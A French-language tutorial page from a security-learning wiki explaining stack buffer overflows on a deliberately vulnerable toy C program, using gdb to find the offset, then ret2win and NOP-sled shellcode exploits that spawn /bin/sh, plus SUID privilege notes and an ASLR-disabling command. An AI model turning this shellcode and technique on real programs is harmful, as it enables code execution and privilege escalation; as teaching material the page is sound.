> For the complete documentation index, see [llms.txt](https://sansong.gitbook.io/cyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sansong.gitbook.io/cyber/pwn/stack/stack-buffer-overflow.md).

# Stack buffer overflow

## Buffer overflow

Un buffer overflow ou dépassement de tampon en français est une des vulnérabilités les plus connues aujourd'hui. Malgré ça on la retrouve souvent dans des applications et les [conséquences peuvent être graves](https://owasp.org/www-community/vulnerabilities/Buffer_Overflow).

Un **stack buffer overflow a lieu sur la pile.**

Un buffer overflow a lieu quand un programme copie des données dans un tableau de taille inférieure à la taille des données et qu'aucune vérification n'a lieu. Le contenu des adresses mémoires adjacentes est alors écrase et cela peut mener à différents problèmes comme de l'exécution de code.

## Rappels sur la mémoire

Comme expliqué dans [Prologue](/cyber/rev/prologue.md), la mémoire d'un programme est organisée de la façon suivante:&#x20;

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FR3XaxCD0I7Sz0xcImPQu%2FSegmentation%20de%20la%20m%C3%A9moire%20pour%20un%20programme.svg?alt=media&amp;token=b8ccea83-4b59-498c-bbab-befe915096e1" alt="" width="303"><figcaption><p>Segmentation de la mémoire pour un programme</p></figcaption></figure>

La pile contient les données nécessaires à l'exécution des fonctions et est organisée en stack frames. Le tas contient les données alloués dynamiquement (avec malloc et les variables globales).

Lorsqu'une fonction est appelée plusieurs choses se passent:

* les arguments de la fonction sont empilés (dans l'ordre inverse)
* l'adresse de retour est empilée
* la stack frame est préparée (stack & base pointer)
* de la place est réservée pour les variables locales

## Vulnérabilité

Maintenant que tout ça est clair (si c'est pas le cas, jeter un œil à [Prologue](/cyber/rev/prologue.md)) commençons par regarder un code vulnérable.

```c
#include <stdio.h>
#include <string.h>

void overflowed() {
	
	// fonction non appelée	
	printf("flow d'exécution modifié !\n");

}

void copy(char* src) {

	// copie le contenu de src dans buffer
	char buffer[50];
	strcpy(buffer, src);
	
	// affiche le contenu de buffer
	printf("Contenu de buffer:\n");
	for (int i=0; i<50; i++) {
		printf("%c", buffer[i]);
	}

}

int main(int argc, char** argv) {
	
	copy(argv[1]);

	return 0;
}
```

Ce code copie le premier argument passé au programme dans la variable `buffer` avec la fonction `copy` et affiche le contenu. La fonction `copy` continue de copier le contenu de la source tant qu'elle n'est pas vide sans s'occuper de la taille de la destination d'où la vulnérabilité.

On le compile sans aucune protection:

```bash
gcc stack-buffer-overflow.c -o stack-buffer-overflow -fno-stack-protector -z execstack -no-pie -m32
```

Si on l'exécute avec une entrée de la bonne taille (50 octets) on a:

```bash
sam@kali:~/exploits$ ./stack-buffer-overflow AllonsEnfantsDeLaPatrieLeJourDeGloireEstArrivé...
Contenu de buffer:
AllonsEnfantsDeLaPatrieLeJourDeGloireEstArrivé...
```

On voit que notre string **AllonsEnfantsDeLaPatrieLeJourDeGloireEstArrivé...** a bien été copié dans `buffer`.

A l'appel de `copy` la pile ressemble à ça:

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2F8GMkUAISHQ1oNZUB6SRg%2FPile%20%C3%A0%20l'appel%20de%20copy.svg?alt=media&amp;token=4c2e41b0-9d45-489b-8118-670204d22e81" alt=""><figcaption><p>Pile à l'appel de copy</p></figcaption></figure>

Le buffer se remplit des adresses basses vers les adresses hautes.

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FFajCnT2WjMVydfSlnAzn%2FRemplissage%20de%20la%20zone%20m%C3%A9moire%20allou%C3%A9e%20%C3%A0%20buffer.svg?alt=media&amp;token=bc78d849-554f-48bf-86f2-16928de5ec99" alt="" width="333"><figcaption><p>Remplissage de la zone mémoire allouée à buffer</p></figcaption></figure>

Essayons des entrées trop grandes maintenant. Une lettre est codée sur 1 octet (voir [table ASCII](https://www.asciitable.com/)) donc si on donne 70 lettres au programme, `copy` va essayer de copier 70 octets dans un buffer de 50.

```shell
sam@kali:~/exploits$ ./stack-buffer-overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Contenu de buffer:
Erreur de segmentation (core dumped)
```

L'OS renvoie un **segmentation fault**, une erreur liée aux accès mémoire. Notre entrée a écrasé des données en mémoire !

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FBNIobzk9LUGpU9zPiLkF%2FStack%20buffer%20overflow.svg?alt=media&amp;token=5a3d4617-e44b-4757-aec2-aaae9bc9f0f8" alt="" width="424"><figcaption><p>Stack buffer overflow</p></figcaption></figure>

Vérifions avec [gdb](https://www.sourceware.org/gdb/):

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FNo35XGGicxd8CnKgkXbS%2Fstack-buffer-overflow-1.png?alt=media&amp;token=91bec0f0-6fdd-4b90-9743-b7473aaf87b9" alt=""><figcaption><p>Segmentation fault vue dans gdb</p></figcaption></figure>

On voit que le programme a tenté d'accéder à l'adresse **0x41414141** (AAAA) en hexadécimal, on a donc bien réécrit l'adresse de retour (mon gdb est modifié car j'utilise [gef](https://github.com/hugsy/gef) pour avoir une interface plus pratique et voir la stack et les registres).

{% hint style="success" %}
On peut aussi le vérifier en regardant le code assembleur de `copy`:

```c
gef➤ disass copy
Dump of assembler code for function copy:
   0x080491c1 <+0>:	push   ebp
   [...]
   0x080491d6 <+21>:	push   DWORD PTR [ebp+0x8]
   0x080491d9 <+24>:	lea    eax,[ebp-0x3e]
   0x080491dc <+27>:	push   eax  <== breakpoint 1
   0x080491dd <+28>:	call   0x8049050 <strcpy@plt>  <== appel à strcpy
   0x080491e2 <+33>:	add    esp,0x10  <== breakpoint 2
   0x080491e5 <+36>:	sub    esp,0xc
   [...]
   0x08049229 <+104>:	leave  
   0x0804922a <+105>:	ret    
End of assembler dump.
```

On place 2 breakpoints:

* un à 0x080491dc (avant l'appel à strcpy)
* un à 0x080491e2 (après l'overflow)

```c
gef➤ b *0x080491dc
Breakpoint 1 at 0x80491dc
gef➤ b *0x080491e2
Breakpoint 2 at 0x80491e2
```

On lance le programme et on regarde l'adresse de retour avant l'overflow:

```c
gef➤ r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
gef➤  x $ebp+4
0xffffcfdc:	0x08049259  <== adresse de retour
// on continue jusqu'au 2e breakpoint
gef➤ c 
Continuing.
gef➤ x $ebp
0xffffcfdc:	0x41414141 <== adresse écrasée "AAAA"
```

L'adresse de retour est à `ebp+4` (`rbp+8` pour un exécutable 64-bit) comme on l'a vu dans [Prologue](/cyber/rev/prologue.md).
{% endhint %}

Pour déterminer combien d'octets il faut exactement pour écraser l'adresse de retour on peut utiliser [cet outils](app://obsidian.md/%5Bhttps://wiremask.eu/tools/buffer-overflow-pattern-generator/%5D\(https://wiremask.eu/tools/buffer-overflow-pattern-generator/\)) pour 70 octets.

Les patterns uniques permettent de savoir directement la longueur nécessaire:

```c
gef➤ b *0x080491e2
Breakpoint 1 at 0x80491e2
gef➤ r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2A
gef➤ x $ebp+4
0xffffcfdc:	0x41326341  <== adresse écrasée
```

**0x41326341** correspond à **Ac2A** en hexadécimal.&#x20;

{% hint style="warning" %}
Si on convertis 0x41326341 en ASCII on trouve A2cA et pas Ac2A. C'est parce que dans la mémoire les valeurs sont stockées en *little endian*. Il faut donc bien y penser quand on lit et écrit dans la mémoire !
{% endhint %}

Pour écraser l'adresse de retour l'entrée doit donc être de cette forme:

```
[Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1] [nouvelle adresse]
|_____________________________66 octets____________________________| |____4 octets____|
```

{% hint style="success" %}
Pour trouver le nombre d'octets nécessaire on aurait aussi pu voir dans le code de `copy` que `buffer` est situé à `ebp-0x3e` (`ebp-62`). En ajoutant les 4 octets pour écraser `ebp` on a bien 62+4=66 octets pour atteindre saved `eip`:

<pre class="language-c"><code class="lang-c"><strong>gef➤ disass copy
</strong>Dump of assembler code for function copy:
   0x080491c1 &#x3C;+0>:	push   ebp
   [...]
   0x080491d6 &#x3C;+21>:	push   DWORD PTR [ebp+0x8]
   0x080491d9 &#x3C;+24>:	lea    eax,[ebp-0x3e]  &#x3C;== buffer est empilé
   0x080491dc &#x3C;+27>:	push   eax  
   0x080491dd &#x3C;+28>:	call   0x8049050 &#x3C;strcpy@plt>  
   [...]
   0x08049229 &#x3C;+104>:	leave  
   0x0804922a &#x3C;+105>:	ret    
End of assembler dump.
</code></pre>

{% endhint %}

## Exploitation

**D'accord mais comment exploiter cette faille ?**

### **Modification du flux d'exécution (ret2win)**

Maintenant que nous contrôlons l'adresse de retour (saved eip) on peut modifier le flux d'exécution du programme. Une fois que strcpy aura terminé son exécution, le CPU exécutera l'instruction à l'adresse que nous avons placé après ebp.

On va rediriger le programme vers `overflowed`. Il nous manque seulement son adresse.&#x20;

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2F1wjw2lUKKQmg9YbANUal%2FEtat%20de%20la%20pile%20souhait%C3%A9%20%C3%A0%20la%20fin%20de%20l'ex%C3%A9cution%20de%20copy.svg?alt=media&amp;token=766bc9d4-dec5-42e9-bb1c-f4af9904c086" alt="" width="318"><figcaption><p>Etat de la pile souhaité à la fin de l'exécution de copy</p></figcaption></figure>

On la récupère avec gdb:

```bash
gef➤  p &overflowed
$1 = (<text variable, no debug info> *) 0x8049196 <overflowed>
```

`overflow` est située à **0x8049196** (il faudra la rentrer en little endian soit 0x96910408).

```bash
gef➤ r $(python2 -c 'print("A"*66 + "\x96\x91\x04\x08")')
Contenu de buffer:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflow d'exécution modifié !

Program received signal SIGSEGV, Segmentation fault.
```

On a réussi à modifier le flux !

On a une segmentation fault parce que le flux est redirigé vers `overflowed` mais sa stack frame n'a jamais été préparée (car elle n'est jamais appelée dans le code).

L'adresse de retour n'a pas été préparée et ici c'est une valeur déjà présente sur la stack après l'adresse de retour de `copy`). A la fin de `overflowed` l'instruction ret retire la valeur au sommet de la pile (0xffffd200) et la place dans le registre eip. L'exécution continue donc à cette adresse et le CPU exécute l'instruction présente à cet endroit de la mémoire (`or   BYTE PTR [eax], al`) et une erreur de segmentation est renvoyée.

```c
    0x80491bb <overflowed+37>  nop    
    0x80491bc <overflowed+38>  mov    ebx, DWORD PTR [ebp-0x4]
    0x80491bf <overflowed+41>  leave  
 →  0x80491c0 <overflowed+42>  ret    
      ↳  0xffffd200                  or     BYTE PTR [eax], al
         0xffffd202                  add    BYTE PTR [eax], al
         0xffffd204                  add    BYTE PTR [eax], al
         0xffffd206                  add    BYTE PTR [eax], al
         0xffffd208                  or     DWORD PTR [eax], eax
         0xffffd20a                  add    BYTE PTR [eax], al
   
```

{% hint style="info" %}
Avec perl:

```perl
gef➤  r $(perl -e 'print "A" x 66 . "\x96\x91\x04\x08";')
```

{% endhint %}

### Exécution de code

Dans la vraie vie, un attaquant fait des choses malveillantes au lieu de rediriger vers une fonction inutile. En général on place un payload en mémoire et on fais sauter le programme à cet endroit pour l'exécuter. Pour ça on peut utiliser un [Shellcode](/cyber/pwn/shellcode.md) (un programme en assembleur) qui va faire ce qu'on veut.

J'ai choisi un shellcode qui place des valeurs sur la stack, fais certaines opérations et fais un appel système pour obtenir un shell:

```
\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
```

{% hint style="info" %}
Le shellcode est écrit en hexadécimal et si on le désassemble (avec un [outils](https://defuse.ca/online-x86-assembler.htm)) on peut voir les instructions assembleur .
{% endhint %}

Maintenant qu'on a notre payload il faut l'intégrer à notre entrée pour qu'il soit placé dans le buffer. Une fois dedans il faudra connaître l'adresse de la première instruction *(xor eax, eax)* pour y faire sauter le programme. Le problème est que récupérer cette adresse n'est pas simple. On pourrait le faire avec gdb mais les adresses dans gdb et en dehors sont légèrement différentes car gdb à des variables d'environnement qui lui sont propres et celui force un décalage parmi les adresses.

Pour contourner cette difficulté on va utiliser une instruction spéciale: [NOP](https://fr.wikipedia.org/wiki/NOP). Cette instruction x86 n'a aucun effet, si le CPU la lis et passe à l'instruction à l'adresse suivante.

**Super mais en quoi ça nous avance ?**

On va créé ce qu'on appelle une **NOP sled** (ou pente de NOP en français) que l'on va mettre au début du buffer. De cette manière il suffit d'envoyer le programme quelque part dans la **NOP sled** et chaque instruction passera son tour à la prochaine jusqu'à la première instruction du shellcode !

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FKkzEj6MVITrUR5adADx2%2FExploitation%20d'un%20buffer%20overflow%20avec%20une%20NOP%20sled%20et%20un%20shellcode.svg?alt=media&amp;token=8750f116-2fbf-4254-8cf6-f9cae522869e" alt="" width="563"><figcaption><p>Exploitation d'un buffer overflow avec une NOP sled et un shellcode</p></figcaption></figure>

Notre shellcode fait 45 octets et il faut 66 octets pour atteindre ebp puis 4 de plus pour l'adresse de retour (saved eip). On va donc mettre 66-45=21 NOP. L'opcode de NOP est 0x90. Notre entrée va être de la forme:

```
[nop slep]*21 [shellcode]*45 [une adresse dans la nop sled]
```

On récupère une adresse dans la nop sled:

```c
gef➤ b *copy+33 <== adresse après l'appel à strcpy (après l'overflow)
Breakpoint 1 at 0x401198
gef➤ r
gef➤ x/20x $ebp-62 <== on affiche 20 zones mémoires en hexa (x) à partir de ebp-62 (début du buffer) 
0xffffcf9a:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffcfaa:	0x90909090	0x5e1feb90	0x31087689	0x074688c0
0xffffcfba:	0xb00c4689	0x8df3890b	0x568d084e	0x3180cd0c
0xffffcfca:	0x40d889db	0xdce880cd	0x2fffffff	0x2f6e6962
0xffffcfda:	0xcfaa6873	0xd200ffff	0xe66cffff	0xeb10f7fb
```

On voit les instructions NOP (0x90) et le shellcode. La NOP sled commence à l'adresse 0xffffcf9a et se termine à 0xffffcfad.

Avec python ça donne:

```c
gef➤ r $(python2 -c 'print("\x90"*21 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\xaa\xcf\xff\xff")')
Continuing.
Contenu de buffer:
process 48027 is executing new program: /usr/bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol "copy" in current context.
Error in re-setting breakpoint 1: No symbol "copy" in current context.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Error in re-setting breakpoint 1: No symbol "copy" in current context.
$ whoami
[Detaching after vfork from child process 48034]
sam
$ ls
[Detaching after vfork from child process 48035]
images	stack-buffer-overflow  stack-buffer-overflow-64  stack-buffer-overflow.c
$


```

On obtient bien notre shell ! On peut exécuter les commandes qu'on veut !

{% hint style="danger" %}
Parfois certains shellcodes ne fonctionnent pas. Ça peut valoir le coup d'en essayer plusieurs. Pour cet exemple j'en ai essayé plusieurs mais seulement celui-ci a marché.
{% endhint %}

Ici notre buffer faisait 50 octets et notre shellcode 45 mais **comment faire quand le buffer est trop petit et ne peut pas contenir de shellcode ?**

```c
char buffer[10];
strcpy(buffer, src);
```

Pas de panique ! On peut le mettre dans la stack frame de la fonction appelante.

#### suid

Si le programme est SUID alors le shell aura les privilèges de l'auteur du programme. Les programmes SUID (Set User ID) sont des programmes exécutables sur les systèmes Unix et Unix-like (comme Linux) avec des permissions spéciales qui permettent à un utilisateur d'exécuter le programme avec les privilèges de l'utilisateur propriétaire du fichier plutôt qu'avec les privilèges de l'utilisateur qui l'exécute.

Lorsqu'un programme est marqué comme SUID, il sera exécuté avec les permissions de l'utilisateur propriétaire du fichier.&#x20;

Obtenir un shell avec des permissions permet d'accéder à des ressources censées être confidentielles (comme des mots de passes par exemple).

## Protections

Il existe plusieurs façons de se protéger des buffer overflow comme les [Stack canary](/cyber/pwn/protections/stack-canary.md), rendre la pile non exécutable ([NX](/cyber/pwn/protections/nx.md))... (et aussi des techniques pour les contourner).

<figure><img src="https://1813806532-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZRRTPIEA4wb6exZozwS0%2Fuploads%2FyylFJhg4cBbAqO035OXV%2Fexploits_of_a_mom.png?alt=media&amp;token=e91502fc-f8b6-48bd-adff-a23fde6c94e4" alt=""><figcaption><p>xkcd 327</p></figcaption></figure>

## TL;DR

### **Programme vulnérable**

{% hint style="danger" %}
Copie d'une entrée utilisateur dans un buffer sans vérifier la taille.
{% endhint %}

```c
// stack buffer overflow basique
// compiler avec la commande
// 32 bits: gcc stack-buffer-overflow.c -o stack-buffer-overflow-basic-32 -fno-stack-protector -z execstack -no-pie -m32
// 64 bits: gcc stack-buffer-overflow.c -o stack-buffer-overflow-basic-64 -fno-stack-protector -z execstack -no-pie
// désactiver l'ASLR
// echo 0 > /proc/sys/kernel/randomize_va_space

#include <string.h>

int main(int argc, char** argv) {
        char buffer[50];
        strcpy(buffer, argv[1]);
        return 0;
}
```

### **Binaires**

#### 32-bits

{% file src="/files/jrupTTGs7T678aLVb5yy" %}

#### **64-bits**

{% file src="/files/JChWOlkoD86d2LIG0PrI" %}

***

<table data-full-width="false"><thead><tr><th width="163" align="center">RELRO</th><th width="164" align="center">STACK CANARY</th><th width="134" align="center">NX</th><th width="104" align="center">PIE</th></tr></thead><tbody><tr><td align="center"><mark style="color:orange;">Partial RELRO</mark></td><td align="center"><mark style="color:red;">No canary found</mark></td><td align="center"><mark style="color:red;">NX disabled</mark></td><td align="center"><mark style="color:red;">No PIE</mark></td></tr></tbody></table>
